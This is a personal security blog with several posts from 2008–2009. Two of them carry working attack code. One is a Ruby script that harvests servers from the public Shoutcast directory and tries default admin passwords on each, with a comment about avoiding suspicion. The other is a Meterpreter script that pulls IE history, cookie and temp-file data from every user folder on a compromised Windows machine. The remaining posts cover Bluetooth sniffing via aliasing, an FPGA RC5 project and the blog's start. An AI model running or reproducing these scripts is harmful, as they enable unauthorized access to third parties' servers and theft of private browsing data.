Raj Web

Shoutcast Admin Page Enumeration

by Raj on Jun.28, 2009, under Ruby

Shoutcast servers are pretty interesting. By default, many Shoutcast servers will broadcast their existence to the Shoutcast Yellow Pages. Once the Shoutcast Yellow Pages are informed about a live Shoutcast server, it will add that server’s playlist file to its public online directory. The playlist file will contain information on how prospective listeners can connect to that server. This ease of publication really helps smaller and newly formed radio stations develop a listener base. However, it can also be used for very malicious activities.

What harm, may you ask, can come from automatically listing Shoutcast servers? Well, we need to realize that these servers are often run by small groups of technically challenged individuals. Based on this assumption, many of these servers have not been hardened properly to withstand online attacks. Further more, setting up a server is quite easy, and the default configurations allow users to start broadcasting their audio within minutes. Yet another reason for users to forget to harden their configurations. A very important side effect of all of this is; a listing of servers that have a high concentration of poorly hardened configurations.

To demonstrate this point I wrote a fun little ruby script. This script will help enumerate the servers that have their default password set. Default passwords are a must-change configuration on any server. Due to the ease of setup, we will see that many users simply do not change their default password. Feel free to leave comments on improvements or any other ideas on how to use this script.

#!/usr/bin/ruby
require 'rubygems'
require 'base64'
require 'net/http'

#This function will return true if we found the correct user name and pw for
#the given server
def shoutcastServerPwCheck (hostname, portnum, username, pw)
  #The shoutcast admin page uses basic auth. Below sets the
  #string to be used in the auth header.
	authToken = Base64.b64encode(username + ":" + pw).chomp
	shoutcastServer = Net::HTTP.new(hostname, portnum)
	headers = {
		"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5",
		#"Authorization" => "Basic YWRtaW46Y2hhbmdlbWU="
		"Authorization" => "Basic " + authToken
		}
	path = "/admin.cgi"
	#Sets the timeout incase server isnt up anymore
	shoutcastServer.open_timeout = 3
	shoutcastServer.read_timeout = 3
	#Error checking for the get request
	#All errors will return false
	begin
		data = shoutcastServer.get(path,headers)
	rescue Net::HTTPBadResponse
		return false
	rescue Timeout::Error
		return false
	rescue
		return false
	end
	#If unauthorized return false as well
	if (data.body =~/Unauthorized/)
		return false
	end
	#Else output the body and return true. This becuase we found the password
	puts data.body
	return true
end

#Returns the version of the shoutcast server running
def shoutcastServerVerCheck (hostname, portnum)
	shoutcastServer = Net::HTTP.new(hostname, portnum)
	headers = {
		"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5",
		}
	path = "/"
	#Timeouts used incase the server donest not respond
	shoutcastServer.open_timeout = 3
	shoutcastServer.read_timeout = 3
	begin
		data = shoutcastServer.get(path,headers)
	#Return false on any error
	rescue Net::HTTPBadResponse
		return false
	rescue Timeout::Error
		return false
	rescue
		return false
	end
	#Get the body for the shoutcast server
	outputBody = data.body
	#Look for where the version is displayed on the homepage
	version = outputBody[/Version\s\S*<\/a>/]
	#Return the version or nil
	#This is used to clearly show that nil can be returned, else we could just return version var
	if version == nil
		return nil
	end
	return version[0,version.size-4]
end

def getMaxStartAt (website)
	pagePhrase = website[/Page\s(\d)*\sof\s(\d)*/]
	lastPage = pagePhrase[pagePhrase.rindex(/\s/)+1,pagePhrase.size]
	lastStartAt = 100 * (lastPage.to_i - 1)
	return lastStartAt
end

#This is used to return a certain page of the yp.shoutcast.com page
def lookUpYp (startAt)
	shoutcastYP = Net::HTTP.new("yp.shoutcast.com", 80)
	#Timeout used to check for non-responsive server
	shoutcastYP.open_timeout = 3
	shoutcastYP.read_timeout = 3
	headers = {
		"Host" => "yp.shoutcast.com",
		"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5",
		}
	path = "/index.phtml?numresult=100&startat=" + startAt.to_s
	begin
		data = shoutcastYP.get(path,headers)
	#Return nil on all errors, else return the body
	rescue Net::HTTPBadResponse
		return nil
	rescue Timeout::Error
		return nil
	rescue
		return nil
	end
	return data.body
end

#Used to get the playlist file based on the path that was captured from the yp page
def lookUpPlaylist (path)
	shoutcastYP = Net::HTTP.new("yp.shoutcast.com", 80)
	#Timeout used incase the server is down
	shoutcastYP.open_timeout = 3
	shoutcastYP.read_timeout = 3
	headers = {
		"Host" => "yp.shoutcast.com",
		"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5",
		}
	begin
	data = shoutcastYP.get(path,headers)
	#All errors return nil else return the playlist
	rescue Net::HTTPBadResponse
		return nil
	rescue Timeout::Error
		return nil
	rescue
		return nil
	end
	return data.body
end
#Password Dictionary
passwords = ["INOETHISISNTAPASSWORD", "changeme", "admin", "adminpass"]
#Output File Name
ofl = File.new("output.txt", "w")
#The URL for yp.shoutcast.com takes in a few params
#The first param is the "startAt" param. 
#This will tell the yp.shoutcast.com listing what entry 
#to start at
startAt = 0
#This function will return what index to stop in the directory listings
maxStartAt = getMaxStartAt(lookUpYp(0))
#Iterates through the yp listings
while startAt <= maxStartAt
  #Get first yp page
	puts "Trying Start At " + startAt.to_s
	body = lookUpYp(startAt)
	#If body has no data, do next iterations
	if body == nil
		next
	end
	#Gets a links on page that will point to playlist hosted on yp
	#ASSUMPTION that they follow the regex below.
	#Each element will have the leading and lagging quote as well as the leading forward slash
	links = body.scan(/"\/sbin\/\S*"/)
	#Number of links found on page is the size of links array
	puts "Number of Links: " + links.size.to_s
	cnt = 0
	#For each link in links lets get the playlist it points to
	links.each {|link|
		puts "Cnt " + cnt.to_s
		puts "Testing Link " + link
		cnt = cnt + 1
		#Get the playlist from the current link at yp
		#Get rid of the leading and lagging quote
		playlist = lookUpPlaylist(link[1,link.size-2])
		if playlist == nil
			next
		end
		puts "Size of playlist: " + playlist.size.to_s
		#Take only the first server out of each playlist
		#ASSUMPTION if the first server will have same pw as all subsequent servers
		#We might want to test all servers. However, I didnt do that as to not raise suspicion
		server = playlist[/http:\/\/(...)*:(\d)*\s/]
		#If we found a server, please continue the process
		if server != nil
			server = server.chomp
			#Get the ip address based on the a digit and dot regex
			ip = server[/\d*\.\d*\.\d*\.\d*/]
			#Get the port based on colon number and space regex
			port = server[/:\d*\w/]
			if port == nil or ip == nil or server == nil
				next
			end
			#Get rid of the colon infront of port
			port = port[1,port.size]
			puts "Trying Server(" + server + "): " + ip + ":" + port
			#Try the entire dictionary against the server
			passwords.each {|password|
			  #Output to file if PW checks out
				if shoutcastServerPwCheck(ip, port, "admin", password)
					ofl.puts "Playlist URL: " + link
					ofl.puts "Host: " + ip + ":" + port + "\n"
					#If we got into the admin page, lets get the version of the server
					ofl.puts shoutcastServerVerCheck(ip,port)
					ofl.puts "Username:Password: " + "admin:" + password
					ofl.puts ""
					ofl.flush
					break
				end
			}
		else
			puts "Trying Server: " + cnt.to_s + " (NoServer)"
		end
	puts ""
	}
	startAt = startAt + 100
end
ofl.close
Leave a Comment more...

Eee PC 1000HE or 1000 HE

by Raj on Mar.05, 2009, under Uncategorized

So i got it… Yay!!! I must say I am very pleased. It is running XP and Ubuntu off the OEM harddrive. I also boot a persistent install of BT4 off of a 2 gig SD card. One thing that I want to mention is that the default wireless drivers for the 1000HE doest not support injection. To get it to work you need to update your ath9k drivers for the built in atheros card. This can be done by following this guide. Also… keep in mind that if you do not have a persistent install, you will need to do it all over again. So i suggest you check out this guide. If you have any questions feel free to drop a comment.

Leave a Comment :, , more...

Digital Sampling Theory to the Rescue!!!

by Raj on Feb.12, 2009, under Uncategorized

So I joined Intrepidus not too long ago and I’m loving every second of it. We just came back from ShmooCon, which was my first security conference. Shmoo was a great experience, and I’m excited to attend further cons. While a few of the talks were pretty informative, one in particular I found very interesting. Michael Ossmann and Dominic Spill spoke about how one can build an all channel Bluetooth monitor. Their approach towards solving this problem was ingenious. Quite honestly, any hack that allows us to capture data flows that were otherwise private is awesome. If this hack relies on a basic theory of digital signal processing (I’ll get into that later) as well as the normal security concepts we are all well aware of, it becomes that much more interesting. This Bluetooth presentation had all of those traits.

I don’t plan on reproducing the presentation since you can find that online, however, I do want to talk about what I believed was an interesting solution to a problem that they ran into. But before I can get into the solution I need to introduce the problem.

Bluetooth operates within a 79 MHz bandwidth. It uses 79 channels, each of which is 1 MHz wide. The devices randomly hop around the 79 MHz bandwidth 1600 times a second. All devices that are in a Bluetooth network (piconet) know the hopping pattern and listen to the right frequency at the right time. Ossmann and Spill were able to reverse out the hopping pattern of a piconet by passively listening to 25 channels of communication using their USRP (a tool used to help create software radio implementations.) Their USRP can sample a 25 MHz bandwidth and pass all the data to a computer for processing. They also developed a few scripts that can reverse out the hop sequence by looking at a fraction of a piconet conversation.

Once the pattern is discovered, monitoring a Bluetooth stream can go in one of two directions. You can sniff one channel at a time and retune the radio per hop, or you can record all 79 channels and parse out the correct channels in the DSP software. Both of these paths have some limiting factors. The first, retune per hop, cannot be done with the USRP. Retuning the 2.4 GHz card in the USRP cannot happen 1600 times a second, and therefore cannot hop as fast as the Bluetooth devices. One suggestion then was to bootstrap a Bluetooth dongle with the correct hop sequence and let it do the sniffing. But if we are going to spend thousands on a USRP we damn well want to keep using it. The second solution entails listening to all 79 channels, which would require 4 USRPs. However, buying 4 USRPs is 4 times harder than buying one. We need to find a cheaper way. Digital sampling theory to the rescue!

Using a principle called aliasing, Ossmann and Spill were able to turn their 25 MHz bandwidth USRP into one that can sample 79 MHz! Aliasing is a term used to describe the phenomena when two distinct analog signals create the same digital representation when they are sampled at a certain frequency. This is because at the points where the two signals are sampled, they also intersect each other. Refer to figure one below. The two analog signals are obviously different frequencies, however, if they are sampled at the blue points their digital representation would be identical. Usually this is a phenomena radio designers try to eliminate from their systems. This is because they need to read only one frequency, and the alias frequency would just add noise to the desired signal. Therefore many designs use band-pass filters to isolate one central frequency and eliminate the alias before sampling.

Figure 1. Aliasing in action.

Figure 1. Aliasing in action.

However, for the purpose of Bluetooth monitoring, we do not need this filtering. This is because only one of the 79 channels is ever used at once. No one channel will interfere with the communication on another channel. Once the filters were isolated on the 2.4 GHz ISM board in the USRP, Ossmann and Spill could just remove it, choose an appropriate sampling frequency, and rely on the aliased frequencies of the 25 MHz band to pick up the rest of the information. Problem solved, and they can now use one USRP to sample the full band of Bluetooth!

So now that all your Bluetooth traffic are belong to us, the sky is the limit. As pointed out in the presentation, many of these devices do not encrypt traffic before it is transmitted. This opens the door to quite a number of attacks. There is the obvious consumer based traffic that can now be sniffed (cell phone, key board, and so on.) Bluetooth, however, has a strong industrial footing. A lot of these industrial applications are one of a kind systems, tailored for a specific facility. Any industrial facility that uses Bluetooth to monitor and control machinery must now consider this new threat to their assets. If there are any vulnerabilities in their deployed Bluetooth systems, proprietary company information could leak into the wrong hands. The presentation also mentioned that active Bluetooth attacks can now be developed. Once you have the hopping order, you can inject traffic into a piconet. This may lead to DoS attacks, unauthorized access and control, and other devious actions against the industrial equipment. Be forewarned…

-D1AB1069

(cross post on PhishMe)

Leave a Comment more...

RC5 FPGA Implementation

by Raj on Dec.22, 2008, under FPGA

Hi All,

So one of the pretty cool projects I worked on this semester was implementing RC5 encryption and decryption for a Xilinx Spartan 3. This was my first FPGA project. It opened my eyes to the great application of these incredible pieces of hardware. The speedup one can attain moving tasks from software into hardware is astonishing (Check this out). I will soon start other FPGA projects, hopefully geared towards another security application.

Raj

Leave a Comment more...

Meterpreter Script: Pull IE Browser History

by Raj on Nov.24, 2008, under Metasploit

A friend, Joseph Puran (blog here), and I worked on a simple Meterpreter script for the Metasploit Framework. One can use this script to quickly pull the dat files that IE uses to store history, temp file, and cookie information. This script is still a work in progress. Soon it will be modified to parse the dat files and return only the needed information. This script can also be generalized to pull any file from each user directory within a windows box.

#Rajendra Umadas
#Joseph Puran
#version 0.95

#This function will take in the path that holds the windows user folders.
#It will then enumnerate all of those folders and pull the IE history, cookies,
#and temporary internet dat files.
#It may seem pointless to make this a function now, however their are future revisions planned that will #generalize its use.

def pullRawData(path)
#All the pulled data will be stored in msfRoot/IE_Browser_History/[Timestamp]/
t = Time.now
folderPath=IE_Browser_History’ + ::File::Separator + t.strftime(”%Y_%m_%d_%H_%M_%S”)
::FileUtils.mkdir_p(folderPath)

#For each item in the folder that contains user information
client.fs.dir.foreach(path) {|user|

#CHECK its not the . or .. ELSE look at next item
next if user =~ /^(\.|\.\.)$/
#CHECK that it is a directory ELSE look at next item
next if not client.fs.file.stat(path+user).directory?
#The below three blocks are wrapped between beging and end blocks to allow us to
#Rescue from an expection. This is needed because if we ever try to access a file
#or directory that doesnt exist, it will raise an exception. If we do not catch
#this expection our entire script will die. This may leave information on the
#machine that we could have gathered. This exception handeling also works with files
#or directories where we do not have permissions to access.

#This block will be used to pull the history.dat file
begin
history = path + user + “\\Local Settings\\History\\History.IE5\\index.dat”
pathPrefix = folderPath + ::File::Separator + user
client.fs.file.download_file(pathPrefix +_history.dat”, history)
print_line(”Extracted IE History from:+ user)
rescue
end

#This block will be used to pull the temporary internet files index.data
begin
tempFile = path + user + “\\Local Settings\\Temporary Internet Files\\Content.IE5\\index.dat”
pathPrefix = folderPath + ::File::Separator + user
client.fs.file.download_file(pathPrefix +_temp.dat”, tempFile)
print_line(”Extracted IE Temp Info from:+ user)
rescue
end

#This block will be used to pull the cookies index.dat file
begin
cookies = path + user + “\\Cookies\\index.dat”
pathPrefix = folderPath + ::File::Separator + user
client.fs.file.download_file(pathPrefix +_cookies.dat”, cookies)
print_line(”Extracted IE cookie info from:+ user)
rescue
end

}
end

#Will implement other operations systems by passing in other base directories.
baseDir =c:\\documents and settings\\”
pullRawData(baseDir)
#Will implement a parsing function to pull the important information out of the binary data pulled.
1 Comment : more...

So I Decided to Start a Blog

by Raj on Nov.24, 2008, under Life

Hey All,

The penetration testing class I took this semester at NYU:Poly was definitely an eye opening experience. I was always interested in the idea of being able to ‘hack’ into various hardware and software systems. I knew that there are people out their with the ability to compromise these systems at their will. They could own whatever and whoever they chose to. This semester I completed my first steps towards joining their ranks.

This blog will be a portal that I will used to get my work out there. At first, it may be updated infrequently. It may host only remedial content. But, I promise, that as my journey continues it will only mature as my knowledge matures. Hopefully I can give back to the security community, both in the hardware and software fields, through this portal.

Raj

Leave a Comment : more...

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...

Archives

All entries, chronologically...